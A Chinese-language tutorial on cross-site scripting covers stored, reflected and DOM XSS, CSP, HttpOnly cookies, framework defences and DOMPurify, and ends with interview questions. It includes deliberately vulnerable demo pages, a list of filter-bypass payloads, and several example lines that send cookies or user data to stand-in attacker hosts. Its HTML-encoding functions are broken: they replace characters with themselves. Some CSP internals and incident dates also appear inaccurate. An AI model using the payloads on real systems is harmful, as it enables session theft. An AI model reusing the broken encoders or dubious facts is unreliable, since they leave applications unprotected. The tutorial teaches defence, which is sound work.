XSS攻击与防御深度解析
一句话概括
跨站脚本攻击(Cross-Site Scripting, XSS)通过将恶意脚本注入用户浏览器执行,绕过同源策略窃取数据或冒充用户操作;防御的核心在于永不信任用户输入,从存储、反射、DOM 三类攻击面的产生根源入手,结合 CSP(Content Security Policy)策略进行多层纵深防御。
1. 背景与意义
1.1 XSS 的历史与影响
XSS 是 OWASP Top 10 中自 2004 年第一版至今从未跌出前三的安全威胁。在十年以上的演进中,XSS 导致的灾难性事件数不胜数:
- 2014 年 eBay XSS 事件:攻击者在商品页面注入恶意脚本,用户浏览即可被重定向至钓鱼页面,导致大量用户凭证泄露。
- 2018 年 Twitter DOM XSS 漏洞:通过
data-text属性的编码缺陷,攻击者可以在用户发推时自动执行 JavaScript,最终触发弹窗 “Yo, this is a problem” —— 当时导致 Twitter 紧急修复。 - 2020 年 Shopify XSS 漏洞($10,000 赏金):攻击者利用 Custom URL 重定向功能中的 DOM XSS,获取了管理员权限。
- 2022 年 Polyfill.io 供应链攻击:该 CDN 域名被收购后向中国网站推送恶意 JS 代码,影响的站点超过 10 万。这本质上也是一种”第三方注入型 XSS”。
1.2 为什么 XSS 难以根除
XSS 之所以顽固,是因为它触及了 Web 开发中最根本的矛盾:
浏览器需要执行 HTML/JS 来构建交互页面,但用户输入天然不可信。
这种矛盾体现在每一个动态渲染的场景中:
- 评论系统需要展示用户输入的文本
- 搜索功能需要回显用户的搜索词
- 富文本编辑器需要解析用户粘贴的内容
- URL 参数影响页面行为
任何一个环节的编码遗漏,都可能导致漏洞。
1.3 安全审计的残酷现实
根据 HackerOne 2024 年 Bug Bounty 报告,XSS 依然是提交数量最多的漏洞类型,占比超过 25%。危害等级的差异巨大:
| XSS 类型 | 典型危害 | CVSS 评分范围 |
|---|---|---|
| 存储型 XSS | 窃取所有访问用户的 Cookie,完全控制用户会话 | 8.0-9.0 (高危) |
| 反射型 XSS | 需要诱导用户点击特定链接,危害范围受限 | 6.0-7.0 (中危) |
| DOM 型 XSS | 绕过服务器端防护,影响前端渲染逻辑 | 7.0-8.0 (高危) |
2. 概念与定义
2.1 XSS 的本质
XSS 的全称是 Cross-Site Scripting(跨站脚本攻击)。攻击者将恶意脚本注入到 Web 页面中,当其他用户访问该页面时,脚本在用户浏览器中执行。
之所以叫 “Cross-Site” 而不是 “CSS”(避免与层叠样式表混淆),是指攻击脚本来自另一个来源(不同站点或不同上下文)。
2.2 三类 XSS 的区分
存储型 XSS(Stored XSS)
也称为持久型 XSS。恶意代码持久化存储在服务器(数据库、文件系统、缓存等),每次用户访问页面时都会被加载执行。
1
2
3
攻击者提交恶意评论 ──→ 服务器存入数据库 ──→ 其他用户浏览页面 ──→ 脚本执行
│ │
└──────────── 恶意代码存储在服务器 ────────────────────────────┘
反射型 XSS(Reflected XSS)
也称为非持久型 XSS。恶意代码通过当前请求反射回来(如 URL 参数、POST 数据等),不存储在服务器。
1
攻击者发送含恶意链接 ──→ 用户点击 ──→ 服务器在响应中反射注入脚本 ──→ 执行
DOM 型 XSS(DOM-based XSS)
与反射型和存储型不同,DOM XSS 的恶意代码不经过服务器。服务器返回的 HTML 是干净的,但客户端 JavaScript 代码不安全地处理了用户可控数据,导致恶意脚本在浏览器端注入并执行。
1
2
用户访问页面 ──→ 服务器返回正常 HTML ──→ 客户端 JS 使用 location.hash/document.URL 等
获取恶意数据 ──→ 不安全地写入 innerHTML ──→ 脚本执行
2.3 同源策略(Same-Origin Policy)与 XSS 的关系
理解 XSS 的破坏力,首先要理解它的命门:
1
2
3
4
5
6
7
8
// 正常情况下,如果攻击者想要窃取用户在 example.com 的 Cookie:
// ✅ 以下操作在攻击者的站点上是被同源策略阻止的
fetch('https://example.com/api/user', { credentials: 'include' })
.then(res => res.json())
// ❌ 浏览器会阻止跨域读取,因为 example.com 没有设置 CORS 头
// ❌ 攻击者也无法通过以下方式读取 example.com 的 Cookie
document.cookie // 这是在攻击者域名下执行的,只能读取攻击者站点的 Cookie
而 XSS 的危险就在于:恶意脚本在受害者站点的上下文中执行。同源策略认为该脚本”来自”受害者站点,所以:
1
2
3
4
5
6
// 在 XSS 注入执行时,攻击者的脚本运行在 victim.com 的上下文中:
fetch('https://victim.com/api/user', { credentials: 'include' })
.then(res => res.json())
.then(data => fetch('https://attacker.com/steal', { method: 'POST', body: JSON.stringify(data) }))
// ✅ 同源请求成功!Cookie 自动带上
// ✅ 数据被发送到攻击者服务器
XSS 完全绕过了同源策略的保护。这是它比 CSRF、点击劫持等攻击更危险的根本原因。
3. 最小示例
3.1 存储型 XSS 完整演示
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!-- victim-app/server.js -->
<!-- 一个极简留言板的 Express 应用,存在存储型 XSS -->
<!DOCTYPE html>
<html>
<head>
<title>留言板(有漏洞)</title>
</head>
<body>
<h1>📋 访客留言板</h1>
<form action="/post" method="POST">
<textarea name="content" placeholder="写点什么..." rows="4" cols="50"></textarea>
<br>
<button type="submit">提交</button>
</form>
<h2>所有留言</h2>
<div id="messages">
<!-- ⚠️ 这是有漏洞的渲染方式!直接拼接用户输入 -->
</div>
<script>
// 获取留言并渲染(存在 DOM XSS 的后继风险)
fetch('/api/messages')
.then(r => r.json())
.then(messages => {
const container = document.getElementById('messages');
messages.forEach(msg => {
// ⚠️ 严重漏洞:使用 innerHTML 直接插入用户内容
// 如果 msg.content 包含 <script>alert('XSS')</script>
// 浏览器会执行该脚本!
container.innerHTML += `<p>访客说:${msg.content}</p>`;
});
});
</script>
</body>
</html>
攻击演示:攻击者在留言框提交以下内容:
1
2
3
<script>
fetch('https://attacker-server.com/steal?cookie=' + document.cookie);
</script>
当其他用户访问留言板时,攻击脚本在评论列表中自动执行!
3.2 反射型 XSS 完整演示
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!-- search-result.html -->
<!-- 搜索页面,存在反射型 XSS -->
<!DOCTYPE html>
<html>
<head>
<title>搜索结果</title>
</head>
<body>
<h1>商品搜索</h1>
<form method="GET" action="/search">
<input type="text" name="q" placeholder="搜索商品...">
<button type="submit">搜索</button>
</form>
<div id="result">
<!-- ⚠️ 服务端直接拼接了 URL 参数到页面中 -->
</div>
<script>
// 获取 URL 参数
const params = new URLSearchParams(window.location.search);
const query = params.get('q');
// ⚠️ 不安全地将参数写入页面
// 攻击者可以构造 URL: /search?q=<img src=x onerror=alert('XSS')>
document.getElementById('result').innerHTML =
`<p>您搜索了:${query}</p>`;
</script>
</body>
</html>
攻击者构造恶意链接:
1
https://victim-shop.com/search?q=<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">
然后通过邮件、短信等方式诱导用户点击。
3.3 DOM 型 XSS 完整演示
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<!-- dom-xss-demo.html -->
<!DOCTYPE html>
<html>
<head>
<title>DOM XSS 演示</title>
</head>
<body>
<h1>📎 文件预览</h1>
<p>通过 URL 中的 hash 指定文件名:</p>
<p><code>#file=tutorial.pdf</code></p>
<div id="preview-area">
正在加载文件预览...
</div>
<script>
// ⚠️ 经典 DOM XSS 漏洞
// 从 window.location.hash 获取用户可控值
const hash = window.location.hash;
const fileName = hash.substring(6); // 去掉 "#file="
// 关键在于:这里没有经过服务器
// 服务器返回的 HTML 本身是干净的
// 是客户端的 JS 不安全地处理了 hash 值
// ⚠️ 使用 innerHTML 直接插入用户可控的数据
document.getElementById('preview-area').innerHTML = `
<h3>文件预览</h3>
<p>文件名:${fileName}</p>
<embed src="/files/${fileName}" width="100%" height="500px">
`;
// 攻击者构造 URL:
// https://victim.com/file-preview#file=<img src=x onerror=alert(document.cookie)>
// 注意:这个 URL 发送到服务器时,hash 部分不会被发送!
// 服务器收到的 GET 请求是 /file-preview,没有 hash
// 所以服务器端 WAF 根本无法检测到攻击负载!
</script>
</body>
</html>
核心区别:DOM XSS 的攻击载荷在 URL hash 部分(#之后),这部分内容不会被发送到服务器,因此服务器端的检测完全失效。
4. 核心知识点拆解
4.1 XSS 攻击实现机制全景
4.1.1 注入点分析
攻击者可能从以下入口注入恶意代码:
| 注入点 | 攻击载荷示例 | 利用方式 |
|---|---|---|
| HTML 上下文 | <img src=x onerror=alert(1)> | 直接插入标签 |
| 属性上下文 | "><script>alert(1)</script> | 闭合现有属性 |
| JavaScript 上下文 | ';alert(1)// | 闭合字符串注入 |
| CSS 上下文 | background:url(javascript:alert(1)) | CSS 表达式注入 |
| URL 上下文 | javascript:alert(1) | 伪协议 |
4.1.2 绕 WAF 的常见技术
现代 XSS 攻击不会简单使用 <script>alert(1)</script>,因为 WAF 和过滤器会拦截。攻击者会使用各种编码和绕过技巧:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!-- 多重编码绕过 -->
<Img Src=x OnError=alert(1)>
<!-- 大小写绕过 -->
<SCRipT>alert(1)</sCrIpT>
<!-- 事件处理器组合 -->
<details/open/ontoggle=alert(1)>
<!-- SVG 命名空间绕过 -->
<svg><script>alert(1)</script>
<!-- 利用比较不常见的标签 -->
<marquee onstart=alert(1)>
<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>
4.2 防御方案详解
4.2.1 输入过滤(第一道防线)
原则:过滤 ≠ 信任。过滤可以减少攻击面,但不能作为唯一防线。
正确的做法是输出编码(Output Encoding),即在数据输出到 HTML 上下文之前,根据上下文进行编码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
// 输出编码工具函数
const encode = {
// HTML 实体编码(用于 HTML 标签内容中)
html: (str) => {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return str.replace(/[&<>"']/g, ch => map[ch]);
},
// 属性编码(用于 HTML 属性值中)
attribute: (str) => {
return str.replace(/["'<>`]/g, ch => `&#${ch.charCodeAt(0)};`);
},
// JavaScript 字符串编码
jsString: (str) => {
return str.replace(/[\\"'\n\r\t\b\f]/g, ch => {
const escapes = {
'\\': '\\\\',
'"': '\\"',
"'": "\\'",
'\n': '\\n',
'\r': '\\r',
'\t': '\\t'
};
return escapes[ch] || `\\x${ch.charCodeAt(0).toString(16)}`;
});
},
// URL 编码
url: (str) => encodeURIComponent(str)
};
// 使用示例
const userInput = `<img src=x onerror=alert('XSS')>`;
// ✅ 正确的输出编码
document.getElementById('safe-area').textContent = userInput;
// 或
document.getElementById('safe-area').textContent = encode.html(userInput);
// textContent 是安全的,因为浏览器不会解析其中的标签
// ❌ 错误的做法
document.getElementById('danger-area').innerHTML = userInput;
// 或
document.getElementById('danger-area').innerHTML = encode.html(userInput);
// 等等!上面这段实际上也是安全的,encode.html 已经编码了 <>
// 但如果在属性值中,HTML 编码是不够的,需要用 attribute 编码
4.2.2 Content Security Policy(核心防线)
CSP 是浏览器级别的安全策略,它是XSS 防御的最后一道也是最有效的一道防线。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!-- 严格 CSP:禁止所有内联脚本 -->
<meta http-equiv="Content-Security-Policy" content="
default-src 'self';
script-src 'self';
style-src 'self' 'unsafe-inline';
img-src 'self' https:;
connect-src 'self';
frame-src 'none';
object-src 'none';
base-uri 'self';
form-action 'self';
">
<!-- 生产环境推荐:基于 nonce 的 CSP -->
<meta http-equiv="Content-Security-Policy" content="
default-src 'self';
script-src 'nonce-${random_nonce}' 'strict-dynamic';
style-src 'self' 'unsafe-inline';
base-uri 'self';
">
关键 CSP 指令详解:
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──────────────────────────────┐
│ CSP 关键指令 │
├──────────────────────────────┤
│ script-src 脚本来源限制 │
│ default-src 全局默认来源 │
│ style-src 样式来源限制 │
│ img-src 图片来源限制 │
│ connect-src AJAX/fetch限制 │
│ frame-src iframe来源限制 │
│ object-src Flash等插件限制 │
│ base-uri <base>限制 │
│ form-action 表单提交限制 │
└──────────────────────────────┘
CSP 如何阻止 XSS:
1
2
3
4
5
6
7
8
<!-- 假设 CSP 设置为: script-src 'self' -->
<!-- ❌ 以下内联脚本会被阻止执行 -->
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<!-- ✅ 以下通过 src 引用的外部脚本可以执行 -->
<script src="/js/app.js"></script>
4.2.3 HttpOnly Cookie
HttpOnly 标记阻止 JavaScript 访问 Cookie,虽不能完全阻止 XSS,但能阻止通过 XSS 窃取会话 Cookie:
1
2
3
4
5
6
7
8
9
10
11
12
// 服务端设置 Cookie 时添加 HttpOnly
// Express:
res.cookie('sessionId', 'abc123', {
httpOnly: true, // ❌ document.cookie 无法读取
secure: true, // 仅通过 HTTPS 传输
sameSite: 'strict', // 限制 CSRF
maxAge: 3600000
});
// 即使 XSS 注入成功,攻击者也无法通过以下方式获取 Cookie:
fetch('https://attacker.com/steal?c=' + document.cookie)
// -> document.cookie 不包含 HttpOnly 标记的 Cookie
防御效果对比:
| Cookie 属性 | 无 HttpOnly | 有 HttpOnly |
|---|---|---|
| 服务器设置 | ❌ | ✅ |
document.cookie 可读 | ✅ 可读取 | ❌ 不可读 |
| XSS 利用难度 | 简单(直接偷 Cookie) | 困难(需另寻途径) |
4.3 现代前端框架的 XSS 防御
React 的自动防御
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// React 默认会对所有 JSX 变量进行 HTML 转义
const userInput = "<img src=x onerror=alert('XSS')>";
// ✅ 安全的:React 自动转义
function SafeComponent() {
return <div>{userInput}</div>;
// 渲染结果: <div><img src=x onerror=alert('XSS')></div>
// 浏览器显示为纯文本,不会执行脚本
}
// ❌ 危险的:主动关闭转义
function DangerousComponent() {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />;
// 开发者必须自行确保 userInput 是安全的
}
Vue 的自动防御
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<template>
<!-- ✅ 安全的:Vue 默认文本插值会转义 -->
<div>{{ userInput }}</div>
<!-- ❌ 危险的:v-html 不转义 -->
<div v-html="userInput"></div>
</template>
<script>
export default {
data() {
return {
userInput: "<img src=x onerror=alert('XSS')>"
}
}
}
</script>
框架防御的共同盲区:
innerHTML/outerHTML/insertAdjacentHTMLdocument.write()eval()/setTimeout(string)/Function()- 内联事件处理器(
onclick、onerror) a.href = 'javascript:...'- CSS
expression()等
5. 实战案例
案例一:完整的 XSS 防御中间件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
// xss-middleware.js
// 一个 Express 中间件,实现多层 XSS 防御
const crypto = require('crypto');
const helmet = require('helmet');
const validator = require('validator');
class XSSDefenseMiddleware {
constructor(app, options = {}) {
this.app = app;
this.options = {
enableCSP: true,
enableHelmet: true,
enableInputValidation: true,
enableOutputEncoding: true,
enableCsrf: true,
reportOnly: false,
...options
};
this.initialize();
}
initialize() {
// 1️⃣ 基础安全头(使用 helmet)
if (this.options.enableHelmet) {
this.app.use(helmet({
contentSecurityPolicy: false, // 由我们自定义管理
xssFilter: true,
frameguard: { action: 'deny' },
hidePoweredBy: true,
noSniff: true,
referrerPolicy: { policy: 'strict-origin-when-cross-origin' }
}));
}
// 2️⃣ CSP 策略
if (this.options.enableCSP) {
this.setupCSP();
}
// 3️⃣ 全局输入验证
if (this.options.enableInputValidation) {
this.app.use(this.inputSanitizer.bind(this));
}
// 4️⃣ CSRF 保护
if (this.options.enableCsrf) {
this.setupCSRF();
}
}
setupCSP() {
// 生成每个请求唯一的 nonce
const nonce = crypto.randomBytes(16).toString('base64');
const cspDirectives = {
directives: {
defaultSrc: ["'self'"],
scriptSrc: [
"'self'",
`'nonce-${nonce}'`,
"'strict-dynamic'",
// 仅在需要时添加 'unsafe-inline'
// "'unsafe-inline'"
],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:", "blob:"],
connectSrc: ["'self'", "https://api.example.com"],
fontSrc: ["'self'", "https://fonts.gstatic.com"],
objectSrc: ["'none'"],
mediaSrc: ["'self'"],
frameSrc: ["'self'"],
baseUri: ["'self'"],
formAction: ["'self'"],
reportUri: ['/api/csp-violation-report'],
upgradeInsecureRequests: []
},
reportOnly: this.options.reportOnly
};
const cspHeader = this.buildCSPHeader(cspDirectives.directives);
const headerName = cspDirectives.reportOnly
? 'Content-Security-Policy-Report-Only'
: 'Content-Security-Policy';
this.app.use((req, res, next) => {
res.setHeader(headerName, cspHeader);
// 将 nonce 注入到模板中
res.locals.cspNonce = nonce;
next();
});
// CSP 违规报告收集
this.app.post('/api/csp-violation-report', (req, res) => {
const report = req.body;
console.warn('[CSP Violation]', {
'blocked-uri': report['csp-report']['blocked-uri'],
'violated-directive': report['csp-report']['violated-directive'],
'source-file': report['csp-report']['source-file'],
timestamp: new Date().toISOString()
});
// 可以写入日志系统或发送到监控告警
res.status(204).end();
});
}
buildCSPHeader(directives) {
return Object.entries(directives)
.map(([key, value]) => {
const directiveName = key.replace(/([A-Z])/g, '-$1').toLowerCase();
const values = Array.isArray(value) ? value.join(' ') : value;
return `${directiveName} ${values}`;
})
.join('; ');
}
// 输入清洗器
inputSanitizer(req, res, next) {
const sanitizeValue = (value) => {
if (typeof value === 'string') {
return validator.escape(value);
}
if (Array.isArray(value)) {
return value.map(sanitizeValue);
}
if (value && typeof value === 'object') {
return Object.fromEntries(
Object.entries(value).map(([k, v]) => [k, sanitizeValue(v)])
);
}
return value;
};
// 清洗所有用户输入
['query', 'body', 'params'].forEach(prop => {
if (req[prop]) {
req[prop] = sanitizeValue(req[prop]);
}
});
next();
}
setupCSRF() {
const csrf = require('csurf');
this.app.use(csrf({ cookie: true }));
// 将 CSRF token 注入到响应
this.app.use((req, res, next) => {
if (req.csrfToken) {
res.locals.csrfToken = req.csrfToken();
}
next();
});
}
// 安全输出编码器(用于模板渲染)
static encodeForHTML(str) {
return String(str)
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
static encodeForHTMLAttribute(str) {
return String(str).replace(/[^a-zA-Z0-9,\-_]/g, (ch) => {
return `&#${ch.charCodeAt(0)};`;
});
}
static encodeForJavaScript(str) {
return JSON.stringify(str).slice(1, -1);
}
static encodeForURL(str) {
return encodeURIComponent(str);
}
}
// 使用示例
const express = require('express');
const app = express();
app.use(express.json());
app.use(express.urlencoded({ extended: true }));
const xssDefense = new XSSDefenseMiddleware(app, {
enableCSP: true,
enableHelmet: true,
enableInputValidation: true,
reportOnly: false // 生产环境设为 false
});
// 安全的 API 路由示例
app.post('/api/comment', (req, res) => {
const { content, username } = req.body;
// 此时 req.body.content 已被中间件转义
// 在存入数据库前,对于富文本内容,应该使用专门的白名单过滤
// 例如使用 DOMPurify 过滤富文本
const cleanContent = sanitizeHTML(content);
// 存入数据库
db.comments.create({
username: validator.trim(username),
content: cleanContent,
createdAt: new Date()
});
res.json({ success: true });
});
// 安全 HTML 清洗函数
function sanitizeHTML(dirty) {
// 移除所有 <script> 标签
return dirty.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, '')
// 移除所有 on* 事件处理器
.replace(/\son\w+\s*=\s*"[^"]*"/gi, '')
.replace(/\son\w+\s*=\s*'[^']*'/gi, '')
.replace(/\son\w+\s*=\s*[^\s>]+/gi, '')
// 移除 javascript: 伪协议
.replace(/href\s*=\s*"javascript:[^"]*"/gi, 'href="#"')
.replace(/href\s*=\s*'javascript:[^']*'/gi, "href='#'");
}
app.listen(3000, () => {
console.log('XSS 防御演示服务运行在 http://localhost:3000');
});
案例二:基于 DOMPurify 的富文本安全处理
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
// rich-text-xss-defense.js
// 使用 DOMPurify 安全处理富文本内容
// 注意:DOMPurify 需要安装: npm install dompurify jsdom
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
// ✅ 基本使用:自动移除所有危险内容
const clean = DOMPurify.sanitize('<img src=x onerror=alert(1)>');
console.log(clean); // '' (空字符串,所有内容都被移除)
const clean2 = DOMPurify.sanitize('<b>Hello</b><script>alert("xss")</script>');
console.log(clean2); // '<b>Hello</b>'
// 白名单配置
const allowListConfig = {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'ol', 'li', 'br'],
ALLOWED_ATTR: ['href', 'target', 'rel'],
ALLOW_DATA_ATTR: false,
ALLOW_ARIA_ATTR: false,
// ✅ 关键:只允许安全的协议
ALLOWED_URI_REGEXP: /^(?:(?:https?|mailto):|[^a-z]|[a-z+.-]+(?:[^a-z+.-:]|$))/i,
};
const clean3 = DOMPurify.sanitize(
'<a href="javascript:alert(1)">点击我</a><script>evil()</script><b>粗体</b>',
allowListConfig
);
console.log(clean3);
// '<a target="_blank" rel="noreferrer">点击我</a><b>粗体</b>'
// ❌ javascript: 链接被移除
// ❌ <script> 被移除
// ✅ <b> 保留
// 服务器端使用 DOMPurify 与 Express 集成
const purifyUserInput = (req, res, next) => {
if (req.body && req.body.content) {
req.body.content = DOMPurify.sanitize(req.body.content, {
ALLOWED_TAGS: ['h1', 'h2', 'h3', 'p', 'b', 'i', 'u', 'a', 'img',
'ul', 'ol', 'li', 'blockquote', 'pre', 'code', 'br'],
ALLOWED_ATTR: ['href', 'src', 'alt', 'title', 'target', 'rel'],
// 自定义钩子:检查图片 URL 的安全性
addHook: {
uponSanitizeElement: (node, data) => {
if (data.tagName === 'img') {
const src = node.getAttribute('src');
if (src && !src.startsWith('https://') && !src.startsWith('/')) {
node.removeAttribute('src');
}
}
}
}
});
}
next();
};
// 安全性对比测试
function testCases() {
const testInputs = [
// 测试1: 基本 script 标签
'<script>alert("XSS")</script>',
// 测试2: 事件处理器
'<img src=x onerror=alert(1)>',
// 测试3: 伪协议
'<a href="javascript:alert(1)">link</a>',
// 测试4: SVG 向量
'<svg><script>alert(1)</script>',
// 测试5: 嵌套绕过
'<table><td><math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>',
// 测试6: 正常富文本
'<p>Hello <b>World</b></p><img src="https://example.com/photo.jpg" alt="photo">',
];
testInputs.forEach((input, i) => {
const result = DOMPurify.sanitize(input);
console.log(`测试 ${i + 1}:`);
console.log(` 输入: ${input.substring(0, 80)}`);
console.log(` 输出: ${result.substring(0, 80)}`);
console.log(` 安全: ${result.includes('script') || result.includes('onerror') ? '❌' : '✅'}`);
});
}
6. 底层原理
6.1 浏览器如何决定执行或阻止脚本
浏览器在解析 HTML 时,遵循 Tokenizer → Tree Construction → Script Execution 的流程。对于 XSS,关键在Tokenization 阶段:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HTML 输入: <div><script>alert(1)</script></div>
Tokenizer 处理:
┌─────────────────────────────────────────────┐
│ "<" → 进入 Tag Open 状态 │
│ "div" → 识别为 StartTag:div │
│ ">" → 发射 StartTag token │
│ "<" → 进入 Tag Open 状态 │
│ "script" → 识别为 StartTag:script │
│ ">" → 发射 StartTag token │
│ 进入 Script Data 状态(特殊处理) │
│ "alert(1)" → 作为文本内容处理 │
│ "</script>" → 关闭 Script 标签 │
│ "</div>" → 关闭 Div 标签 │
└─────────────────────────────────────────────┘
当浏览器在 Tree Construction 阶段遇到 <script> 标签时,会调用 JavaScript 引擎执行其内容。CSP 在这个阶段进行拦截:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// Chromium 源码简化版: blink/renderer/core/loader/worker_fetch_context.cc
// CSP 检查 Script 是否可执行
bool ContentSecurityPolicy::AllowInlineScript(
const String& script_content,
const String& nonce,
const String& context_url,
const String& encoding,
const ResourceRequest::RedirectStatus redirect_status,
ContentSecurityPolicy::ReportingDisposition reporting_disposition) const {
// 1. 检查 nonce 是否匹配
if (!nonce.IsNull() && CheckNonce(nonce))
return true;
// 2. 检查 hash 是否匹配 (CSP level 2)
if (CheckHash(script_content, encoding))
return true;
// 3. 检查 strict-dynamic
if (HasStrictDynamic())
return true;
// 4. 检查 'unsafe-inline'
if (HasUnsafeInlineAttributes())
return true;
// 以上都不满足 → 报告违规并阻止
ReportViolation(...);
return false;
}
6.2 CSP 的 Nonce 与 Hash 验证机制
Nonce(一次性数字)验证流程:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
服务器生成随机 nonce ──→ 注入到 CSP 头 + HTML 中的 <script nonce="...">
│
用户请求页面 ←─── HTML 响应中包含 nonce
│
浏览器解析 CSP 头 ←─── 记录 nonce 值
│
浏览器遇到 <script> ←─── 提取 nonce 属性
│
比较 nonce ←─── CSP 中的 nonce === script 的 nonce?
│
┌───────────┴───────────┐
✅ 匹配 ❌ 不匹配
│ │
允许执行 阻止执行(记录违规报告)
Hash 验证流程(CSP Level 2):
服务器提前计算允许的脚本的 hash:
1
2
3
# 计算 script 的 SHA-256 hash
echo -n 'alert("hello world")' | openssl dgst -sha256 -binary | base64
# 输出: X4c9jqxj7Sn1OvVfXqLgK7yZVGQjXGkPx2G4bGz5sL8=
CSP 头中配置:
1
Content-Security-Policy: script-src 'sha256-X4c9jqxj7Sn1OvVfXqLgK7yZVGQjXGkPx2G4bGz5sL8='
浏览器在解析 <script> 标签时,计算其内容的 hash,与 CSP 头中的 hash 比对。
6.3 XSS Auditor 和 XSS Filter(已被移除的防御机制)
Chrome 曾内置 XSS Auditor(2010-2019),而 IE 和 Edge 使用 XSS Filter。两者都在 Chrome 78(2019年10月)被彻底移除,原因:
- 被攻击者用作信息泄露的 Oracle:攻击者可以通过 XSS Auditor 的阻断行为探测页面内容
- 对反射型 XSS 有效,对存储型和 DOM XSS 几乎无效
- 存在误报导致功能中断
- CSP 是更好的替代方案
移除后,Chrome 完全依靠 CSP + 开发者端的输入输出编码来防御 XSS。
6.4 Mutation XSS (mXSS) 的底层原理
mXSS 是一种高级的 XSS 变种,利用了浏览器 HTML 解析器的变异行为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!-- 看似安全的 HTML(被 DOMPurify 检查通过) -->
<svg><style><img src=x onerror=alert(1)></style></svg>
<!-- 当 innerHTML 被设置时,浏览器解析器开始工作 -->
<!-- 第一步解析:DOMPurify 看到 <svg> 下的 <style> 是允许的 -->
<!-- 但浏览器实际解析时: -->
<!-- 1. <svg> 创建 SVG 命名空间 -->
<!-- 2. <style> 在 SVG 命名空间下(与 HTML 命名空间不同) -->
<!-- 3. <img> 在 <style> 内部被当做文本 -->
<!-- 4. 但某些浏览器会解析 <style> 的内容,将 <img> 弹出成为子元素 -->
<!-- 5. 最终 DOM 变为: -->
<svg>
<style></style>
<img src=x onerror=alert(1)> <!-- 脚本执行! -->
</svg>
对于 mXSS,最简单的防御就是更新 DOMPurify 到最新版本。DOMPurify 团队持续追踪和修复 mXSS 变种。
7. 高频面试题解析
面试题 1:存储型、反射型、DOM 型 XSS 的根本区别是什么?请从攻击向量和防御策略两个角度分析。
答案:
根本区别在于恶意代码的存储位置和执行路径不同:
| 特性 | 存储型 XSS | 反射型 XSS | DOM 型 XSS |
|---|---|---|---|
| 恶意代码存储位置 | 服务器(数据库、文件系统、缓存) | 当前请求中(URL 参数、表单数据) | 浏览器内存中(hash、URL 等) |
| 是否经过服务器 | ✅ 是(被存入服务器) | ✅ 是(在响应中反射) | ❌ 否(客户端 JS 直接处理) |
| 是否持久化 | ✅ 是,所有用户都会受到影响 | ❌ 否,需要每次构造特定链接 | ❌ 否,取决于 URL 中的 hash |
| 攻击方式 | 一次提交,持续危害 | 诱导点击恶意链接 | 诱导点击含 hash 的链接 |
| 同源策略是否绕过 | ✅ 完全绕过 | ✅ 完全绕过 | ✅ 完全绕过 |
防御策略的核心差异:
1
2
3
4
5
6
7
┌── 存储型 → 服务端输出编码(存储前过滤,输出时编码)
│ + CSP(阻止内联脚本)
XSS 防御的三层防线 ──┼── 反射型 → 服务端输出编码(拒绝在响应中反射未编码的用户输入)
│ + CSP + HttpOnly
│
└── DOM 型 → 客户端代码审计(避免使用 innerHTML 等危险 API)
+ CSP + 前端框架的安全机制
最关键的陷阱:DOM 型 XSS 因为不经过服务器,传统的 WAF 和服务端编码完全无效,只能通过:
- 客户端代码审计
- 避免使用
innerHTML、document.write()等危险 API - 使用框架安全的绑定方式(React JSX、Vue 模板插值)
- CSP 头(可以限制内联脚本和
javascript:链接)
